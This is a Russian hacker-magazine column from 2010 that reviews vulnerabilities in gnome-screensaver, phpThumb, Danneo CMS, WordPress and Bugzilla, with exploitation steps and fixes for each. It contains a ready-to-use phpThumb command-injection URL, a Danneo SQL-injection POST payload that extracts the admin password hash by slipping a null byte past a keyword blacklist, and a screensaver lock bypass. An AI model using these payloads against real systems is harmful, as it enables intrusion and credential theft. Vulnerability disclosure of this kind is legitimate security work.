Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #135, МАРТ 2010 г.

Анализ свеженьких уязвимостей

Маг (icq 884888, http://snipper.ru)


Вот и настал очередной раз, когда я могу поприветствовать тебя на страницах рубрики! Сегодняшний обзор эксплойтов будет посвящен весне и неутомимым багокопателям, которые в этот солнечный день не могут не порадовать тебя еще одной порцией различных уязвимостей в популярном софте. Итак, раскрывай окно пошире, запускай в комнату свежий и уже не зимний воздух и наслаждайся материалом!

Обход ограничений безопасности в gnome-screensaver

BRIEF

Gnome-screensaver – это популярный хранитель экрана GNOME, который входит, к примеру, в комплект последних версий openSUSE и позволяет заблокировать текущий экран с последующим вводом пароля для разблокировки. Не так давно во всех версиях (до 2.28.2 включительно) данного скринсейвера был обнаружен забавный баг, заключающийся в том, что любой юзер с физическим доступ к системе может получить доступ к заблокированному рабочему столу, не зная нужного для разблокировки пассворда. Для этого трюка необходимо лишь несколько раз в определенной последовательности отключить и подключить монитор и нажать несколько клавиш.

Собственно, уязвимость связана с ошибкой в реализации функции dk_window_begin_implicit_paint() (входит в состав GTK+), которая нередко пытается отрисовать что-либо в несуществующем окне и неизбежно рушится :)

EXPLOIT

Один из способов эксплуатации бага (в случае с системой с двумя экранами) описан секьюрити-командой vigilance.fr:

  1. Переводим курсор мыши на второй экран (форма для ввода пароля должна отображаться на этом экране);
  2. Отключаем этот второй экран;
  3. Нажимаем несколько любых клавиш на клавиатуре;
  4. Скринсейвер пытается обработать пользовательский ввод с этих клавиш на несуществующем экране, что приводит к его краху и получению доступа к сессии другого пользователя.

Другой способ заключается в нажатии и удерживанию в течение нескольких секунд клавиши "Enter", что, опять же, приводит к краху хранителя экрана.

TARGETS

  • gnome-screensaver <=2.28.2

SOLUTION

Для решения проблемы разработчики скринсейвера рекомендуют обновиться до его последней версии (на данный момент 2.28.3) с официального сайта live.gnome.org/GnomeScreensaver/.

Выполнение произвольных команд в phpThumb

BRIEF

phpThumb (phpthumb.sourceforge.net/) – это популярнейший класс PHP (используется, например, в Plogger и TinyEditor), который позволяет "на лету" проводить различные манипуляции с картинками в форматах GIF, JPEG, PNG, BMP, ICO. Все эти манипуляции проходят с помощью встроенной в PHP-библиотеки GD, либо с помощью внешней программы ImageMagick, которая в настоящее время установлена по дефолту в большинство *nix систем.

Ты, наверное, знаешь, что любые манипуляции со внешними программами в PHP происходят с помощью функций passthru, system, shell_exec, exec (именно они работают с командной строкой) и что во многих случаях в передаваемые этим функциям параметры можно внедрить свои команды. Класс phpThumb в данном случае тоже не является исключением, тем более, что по дефолту он пытается использовать ImageMagick вместо GD.

Итак, для начала рассмотрим файл ./phpthumb.functions.php и найдем функцию, отвечающую за выполнение внешних команд:

function SafeExec($command) {
…
$AllowedExecFunctions = array('shell_exec'=>true, 'passthru'=>true, 'system'=>true, 'exec'=>true);
…
foreach ($AllowedExecFunctions as $execfunction => $is_allowed) {
…
switch ($execfunction) {
case 'passthru':
case 'system':
ob_start();
$execfunction($command);
$returnvalue = ob_get_contents();
ob_end_clean();
break;
case 'exec':
$output = array();
$lastline = $execfunction($command, $output);
$returnvalue = implode("\n", $output);
break;
case 'shell_exec':
ob_start();
$returnvalue = $execfunction($command);
ob_end_clean();
break;
}
…
}

Данный код в цикле перебирает перечисленные выше системные функции PHP и выполняет заданную команду через любую доступную из них (что, кстати, бывает полезно, если в директиве disable_functions админы отключили все "опасные" функции, кроме, к примеру, passthru). Как видно, никаких проверок на корректность команды при этом не проводится – она просто передается на исполнение.

Идем дальше. Теперь нам необходимо найти такое место в phpThumb, куда мы сможем безбоязненно внедрить свои произвольные команды. Такой код легко находится в phpthumb.class.php:

function ImageMagickThumbnailToGD() {
…
foreach ($this->fltr as $filterkey => $filtercommand) {
@list($command, $parameter) = explode('|', $filtercommand, 2);
//параметры, передаваемые ImageMagick
switch ($command) {
…
case 'blur':
if ($this->ImageMagickSwitchAvailable('blur')) {
@list($radius) = explode('|', $parameter);
$radius = ($radius ? $radius : 1);
$commandline .= ' -blur '.$radius;
unset($this->fltr[$filterkey]);
}
break;
…
$this->DebugMessage('ImageMagick called as ('.$commandline.')', __FILE__, __LINE__);
$IMresult = phpthumb_functions::SafeExec($commandline);
…
$this->DebugMessage('ImageMagick failed with message ('.trim($IMresult).')', __FILE__, __LINE__);
…
}

Здесь нам наиболее важны следующие части:

  • переменная $radius, которая затем передается в $commandline, которая и является аргументом для упомянутой выше SafeExec();
  • функция для вывода дебаг-информации DebugMessage() – именно с помощью нее мы сможем увидеть результат выполнения нашей команды.

Итак, параметры фильтров для ImageMagick передаются в скрипт с помощью следующего запроса (пример для "blur"):

site.com/phpThumb.php?fltr[]=blur|5

Дебаг-информация выводится на картинке так (различные уровни дебага от 1 до 9, нас интересует последний):

http://site.com/phpThumb.php?phpThumbDebug=9

Принимая во внимание тот факт, что упомянутые выше параметры никоим образом не фильтруются, мы можем приступить к конструированию запроса на выполнение произвольных команд в phpThumb.

EXPLOIT

Для эксплуатации бага нам нужен полный путь до любой картинки, хранящейся локально на сервере. Картинку, я думаю, ты найдешь и без моей помощи, а полный путь к ней можно узнать из того же дебаг параметра. Итоговый эксплойт для *nix может выглядеть следующим образом:

http://site.com/phpThumb_1.7.9/phpThumb.php?src=/home/site.com/public_html/kartinka.jpg&fltr[]=blur|5 -quality 75 -interlace line "/home/site.com/public_html/kartinka.jpg" jpeg:"/home/site.com/public_html/kartinka.jpg" ; [ТВОЯ_КОМАНДА] ;&phpThumbDebug=9

Перейдя по этому адресу, ты увидишь сгенеренную картинку с результатом выполнения твоей команды. Более подробный разбор полетов, а также пример эксплуатации под Windows ищи на http://snipper.ru/view/8/phpthumb-179-arbitrary-command-execution-exploit/.

TARGETS

  • phpThumb <= 1.7.9

SOLUTION

В качестве временного решения проблемы ты можешь отключить использование ImageMagick перед GD с помощью директивы в конфиге phpThumb:

$PHPTHUMB_CONFIG['prefer_imagemagick'] = false;

или просто отключить все опасные функции с помощью директивы PHP disable_functions.

Danneo CMS <= 0.5.2 SQL Injection Vulnerability

BRIEF

CMS Danneo — это опенсорсная система управления сайтом, созданная русскими разработчиками и дико популярная на территории СНГ. Поддерживает все основные фишки свои старших собратьев: SEO friendly ссылки, управление пользователями, статьями, опросами, комментариями, загрузка медиа-контента и т.д.

Не так давно Inj3ct0r (самопровозглашенный продолжатель дела milw0rm.com с Украины) нашел в упомянутой CMS замечательную фрагментированную SQL-инъекцию.

Давай проследим вместе с автором причину ее возникновения. Итак, находим следующий код в файле ./mod/poll/comment.php:

$comtext=($setting['peditor']=="yes") ? commentparse($comtext) : deltags(commentparse($comtext));
$comname = (preparse($usermain['logged'],THIS_INT)==1 && preparse($usermain['userid'],THIS_INT)>0) ? $usermain['uname'] : substr(deltags($comname),0,50);
$comtitle = substr(deltags($comtitle),0,255);

$in = $db->query("INSERT INTO ".$basepref."_polling_comment VALUES
(NULL,'".$id."','".$usermain['userid']."','".NEWTIME."',
'$comname','$comtitle','$comtext','".REMOTE_ADDRS."')");

Как видно, переменная $comtitle урезается до 255 символов, что делает возможным проведение фрагментированной инъекции (после слеширования кавычек было "\'", стало "\") в следующем за ним параметре $comtext. Этого уязвимого кода было бы достаточно, если бы не фильтр в ./base/danneo.track.php, который, по идее, должен пресекать все подозрительные запросы к движку:

$baddata = array("UNION",
"OUTFILE",
"FROM",
"SELECT",
"WHERE",
"SHUTDOWN",
"UPDATE",
"DELETE",
"CHANGE",
"MODIFY",
"RENAME",
"RELOAD",
"ALTER",
"GRANT",
"DROP",
"INSERT",
"CONCAT",
"cmd",
"exec",
"--"
…
);
foreach($_REQUEST as $params => $inputdata){
foreach($baddata as $badkey => $badvalue){
if(is_string($inputdata) && eregi($badvalue,$inputdata)){ $badcount=1; }
}
}

Если ты знаком с подшивкой ][ за последние пару лет, то, наверняка, должен знать о том, что функция ereg[i] неравнодушно относится к нулл-байту, так что дело остается за малым – внедрить его в нужную нам для инъекции переменную $comtext, чтобы обойти данный мерзкий фильтр. В этом нам поможет код из ядра Danneo, спрятанный в ./base/danneo.function.php:

if(!ini_get("register_globals") || (@get_cfg_var('register_globals')==1)){
//@import_request_variables('GPC');
@extract($_COOKIE,EXTR_SKIP);
@extract($_POST,EXTR_SKIP);
@extract($_GET,EXTR_SKIP);
@extract($_REQUEST,EXTR_SKIP);
…
if(get_magic_quotes_gpc()) {
if($_POST) $_POST = stripslashesall($_POST);
if($_GET) $_GET = stripslashesall($_GET);
if($_REQUEST) $_REQUEST = stripslashesall($_REQUEST);
if($_COOKIE) $_COOKIE = stripslashesall($_COOKIE);
}

Здесь ты можешь увидеть, что при включенной директиве magic_quotes любые слэши вырезаются функцией stripslashesall() (это происходит уже после глобализации пользовательских переменных, так что $comtitle и $comtext все равно уйдут в SQL-запрос уже со слешами), так что наш нулл-байт безболезненно пройдет встроенный фильтр :)

EXPLOIT

Для эксплуатации бага нам необходимо подготовить три переменные:

  1. $comname – любые буквы и цифры, 5-10 символов;
  2. $comtitle – 254 любых символа плюс кавычка в конце (если же magic_quotes = off, то ставим просто обратный слеш "\");
  3. $comtext /*[NULL BYTE]*/, (SELECT adpwd FROM dn052_admin LIMIT 1), 1)-- -

Посылаем специальным образом сформированный POST-пакет к сайту-жертве:

comname=lololo&comtitle=[254 символа]'&comtext=/*\x00*/, (SELECT adpwd FROM dn052_admin LIMIT 1), 1)-- -&id=[ID опроса]&ajax=0&re=comment

Таким образом, итоговый SQL-запрос будет выглядеть следующим образом:

INSERT INTO dn052_polling_comment VALUES (NULL,'1','0','1230987393','lololo','[254 символа]\','/*\0*/, (SELECT adpwd FROM dn052_admin LIMIT 1), 1)-- -','127.0.0.1')

В результате ты увидишь хеш пароля админа в своем комментарии. Подробности уязвимости ищи по адресу http://www.inj3ct0r.com/exploits/11004.

TARGETS

  • Danneo CMS <= 0.5.2

SOLUTION

Для закрытия уязвимости просто обновись до последней версии движка, скачать который можно на официальном сайте Danneo CMS http://danneo.com/down/view/CMS.html.

Обход ограничений безопасности в WordPress

BRIEF

Думаю, что нет смысла рассказывать тебе о такой популярной системе управления блогами, как WordPress, поэтому сразу перейдем к делу.

Итак, в 2.9 ветке движка появилась новая функциональность – корзина (trash) для постов. То есть, если ты написал какое-либо сообщение, а затем тебе захотелось его удалить, оно не удаляется, а попадает в корзину, причем на самом блоге ссылка на такой пост будет видна только его автору.

Уязвимость, найденная Томом Маккензи и Райаном Дьюхестом, заключается в том, что удаленный авторизованный пользователь с любыми правами может без проблем просматривать такие сообщения.

Теперь давай взглянем на код из ./wp-includes/query.php, который отвечает за просмотр постов, не имеющих статус "publish":

if ( ('publish' != $status) ) {
if ( ! is_user_logged_in() ) {
// User must be logged in to view unpublished posts.
$this->posts = array();
} else {
if (in_array($status, array('draft', 'pending')) ) {

Из этого кода видно, что:

  1. Неопубликованные посты могут просматривать только авторизованные юзеры;
  2. Неопубликованными постами считаются только "draft" и "pending", про статус "trash" разработчики попросту забыли.

EXPLOIT

Подробности уязвимости, а также эксплойт, который сам ищет trash-посты на нужном блоге с открытой регистрацией ты сможешь найти в оригинальном advisory по адресу http://tmacuk.co.uk/?p=180.

TARGETS

  • WordPress 2.9, 2.9.1

SOLUTION

Как и всегда, не забывай про своевременные обновления своего блога – http://wordpress.org/download/.

Раскрытие данных в Bugzilla

BRIEF

Bugzilla – это известнейший опенсорсный баг-трекер, который используется множеством популярных проектов (например, Мозиллой – https://bugzilla.mozilla.org).

Недавно в данном движке были обнаружены сразу две уязвимости, которые позволяют удаленному пользователю раскрыть чувствительную информацию.

Первая уязвимость заключается в том, что по умолчанию в Багзилле нет запрета на просмотр некоторых важных файлов и каталогов с помощью банального .htaccess, а вторая – в том, что движок неправильно организует политику доступа к багам, перемещенным из одного продукта в другой.

Смотрим файл process_bug.cgi (в районе 249 линии):

foreach my $group (@{$bug->product_obj->groups_valid})

Ошибка заключается в том, "$bug->product_obj" обновляется до применения групповых политик безопасности, то есть на данном этапе баг все еще не перемещен в новый продукт, мы только лишь лишь проверяем валидность старых групп этого продукта, но никак не новых. Таким образом, все группы, которые не являются доступными для старого продукта, игнорируются.

EXPLOIT

Эксплуатация уязвимостей выглядит достаточно тривиально:

  1. Просто натравливаем свой браузер на открытые каталоги "CVS/", "contrib/", "docs/en/xml/", "t/" и файл "old-params.txt", в котором может храниться бэкап настроек движка;
  2. Если приватный баг переносится из одного продукта в другой, при этом одинаковые группы не используются для обоих продуктов и не применяются никакие другие ограничения для групп, то этот баг становится видимым для всех (уже на странице нового продукта), так что ты легко сможешь просмотреть всю информацию о баге в открытом доступе.

Подробное advisory для этих уязвимостей ищи на официальном сайте Багзиллы bugzilla.org/security/3.0.10/.

TARGETS

  • Первый баг: Bugzilla < 3.0.11, < 3.2.6, < 3.4.5, <3.5.3
  • Второй баг: Bugzilla версий от 3.3.1 до 3.4.4 и 3.5.1, 3.5.2

SOLUTION

Все обновления безопасности для Bugzilla качай здесь: http://www.bugzilla.org/download/ (или просто используй .htaccess для ограничения доступа к указанным каталогам и файлу и грамотно применяй групповые политики безопасности для своих приватных багов).

Содержание